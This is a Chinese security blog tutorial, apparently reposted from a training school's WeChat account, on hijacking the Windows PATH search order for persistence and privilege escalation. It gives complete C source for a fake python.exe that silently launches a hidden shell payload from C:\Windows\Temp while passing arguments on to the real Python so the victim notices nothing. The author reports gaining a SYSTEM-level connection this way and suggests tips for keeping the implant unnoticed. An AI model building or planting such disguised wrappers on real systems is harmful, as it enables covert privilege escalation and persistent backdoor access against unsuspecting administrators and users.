windows环境变量滥用维权/提权

admin 2023年9月10日23:31:19评论18 views字数 2390阅读7分58秒阅读模式

获网安教程

免费&进群

windows环境变量滥用维权/提权  
windows环境变量滥用维权/提权

本文由掌控安全学院- camer 投稿

0x01 前提

通过滥用系统的路径搜索机制来欺骗高权限用户执行看似合法的系统二进制文件,实际上是恶意的代码或程序,从而导致升权限并执行恶意操作。

攻击的关键前提:

  1. 路径搜索顺序: 当用户在命令行或程序中执行一个命令时,系统会在环境变量$PATH定义的路径列表中搜索要执行的程序。它将从列表中的第一个路径开始搜索,然后按顺序继续搜索,直到找到匹配的程序。

  2. 权限限制: 用户权限的差异是这种攻击的基础。攻击者通常需要两类用户:

    • 低权限用户(M): 拥有较低权限,只能访问和写入特定文件夹,例如c:temp。

    • 高权限用户: 拥有系统管理员或其他高权限角色,能够执行敏感的系统命令和操作。

  3. 环境变量设置: 攻击者需要控制或能够修改低权限用户(M)的环境变量设置,尤其是$PATH变量。

0x02 原理分析

原理是利用操作系统环境变量设置的弱点来欺骗高权限用户执行恶意代码,从而实现权限提升。

正常情况系统的环境变量是从c:Windowssystem32开始遍历,如下所示:

windows环境变量滥用维权/提权

但是,当存在于环境变量的路径在c:Windowssystem32之前,并且可由低权限用户 (M) 修改的时候,就会造成环境变量的滥用,例如(c:Windowstemp变量路径滥用):

windows环境变量滥用维权/提权

并且查看文件夹访问权限,是可以用户修改的,查询如下:

windows环境变量滥用维权/提权

  • BUILTINUsers:内置的用户组 “Users” 有以下权限:(CI):容器内项目,(S):同步访问,(WD):写入数据,(AD):添加数据,(X):执行文件。这意味着”Users”组可以读取、写入、添加、执行该文件夹内的项目。

  • BUILTINAdministrators:内置的管理员组 “Administrators” 有:(F):完全控制权限。这意味着管理员可以完全控制该文件夹,包括修改权限。

  • NT AUTHORITYSYSTEM:系统账户有:(F):完全控制权限。这允许系统账户对文件夹拥有完全控制。

  • CREATOR OWNER:文件或文件夹的创建者有:(OI)(CI)(IO)(F):对象的所有权,容器和继承的所有权,对象的访问权限,完全控制权限。这使得文件或文件夹的创建者拥有完全控制权限。

  • SAEDYQJKFJNNOFScamer:用户”camer”有:(OI)(CI)(F):对象的所有权,容器和继承的所有权,完全控制权限。

当用户将恶意程序放在c:Windowstemp目录下的时候,正常用户无论是Administrator还是SYSTEM调用,都会优先执行恶意程序,例如劫持的是cmd.exe,如下会被劫持执行计算器,如下所示:

windows环境变量滥用维权/提权

0x03 利用思路

实际利用的时候还存在一个巨大的缺陷,就是系统核心命令使用了一个称为“系统目录优先级”的机制,即使你在环境变量中指定了其他目录,系统仍然会首先搜索系统目录(通常是C:Windowssystem32)中的可执行文件,以确保系统的稳定性和安全性。

所以说只能接劫持利用python、java、gcc等用户环境的环境变量滥用,才能实际利用。

恶意程序如下(劫持的python.exe):

#include <windows.h>
#include <stdio.h>

int main(int argc, char *argv[]) {
// 恶意程序
wchar_t* Shell = L"C:\Windows\Temp\shell.exe";

HINSTANCE hInstance1 = ShellExecuteW(NULL, L"open", Shell, NULL, NULL, SW_HIDE);

// 保证python程序能够正常执行
if (argc >= 2) {
const char* pythonPath = "C:\Users\camer\AppData\Local\Programs\Python\Python39\python.exe";

// 构建调用Python脚本的命令
char pythonCommand[4096]; // Increased buffer size to accommodate more arguments
snprintf(pythonCommand, sizeof(pythonCommand), "%s %s", pythonPath, argv[1]);

// 将额外的参数添加到 Python 命令中
for (int i = 2; i < argc; ++i) {
strcat(pythonCommand, " ");
strcat(pythonCommand, argv[i]);
}
// 调用Python脚本
system(pythonCommand);
}
return 0;
}

假设用户要使用管理员权限执行python文件,调用python执行命令(python文件随便让GPT生成的):

python 1.py greeting morning

windows环境变量滥用维权/提权

执行成功会发现正常运行输出,但是实际后台执行恶意程序并上线成功,并且具有SYSTEM权限的,如下所示:

windows环境变量滥用维权/提权

0x04 思考总结

普通用户权限调用python也会上线,并且最好shell添加防止进程多开的功能,不然后台容易都是马。

申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,

所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.


windows环境变量滥用维权/提权

没看够~?欢迎关注!




分享本文到朋友圈,可以凭截图找老师领取

上千教程+工具+交流群+靶场账号

 

windows环境变量滥用维权/提权

 分享后扫码加我




回顾往期内容


Xray挂机刷漏洞

零基础学黑客,该怎么学?

网络安全人员必考的几本证书!

文库|内网神器cs4.0使用说明书

代码审计 | 这个CNVD证书拿的有点轻松

【精选】SRC快速入门+上分小秘籍+实战指南

    代理池工具撰写 | 只有无尽的跳转,没有封禁的IP!

windows环境变量滥用维权/提权

点赞+在看支持一下吧~感谢看官老爷~ 

你的点赞是我更新的动力


原文始发于微信公众号(掌控安全EDU):windows环境变量滥用维权/提权

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年9月10日23:31:19
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   windows环境变量滥用维权/提权http://cn-sec.com/archives/2023247.html

发表评论

匿名网友 填写信息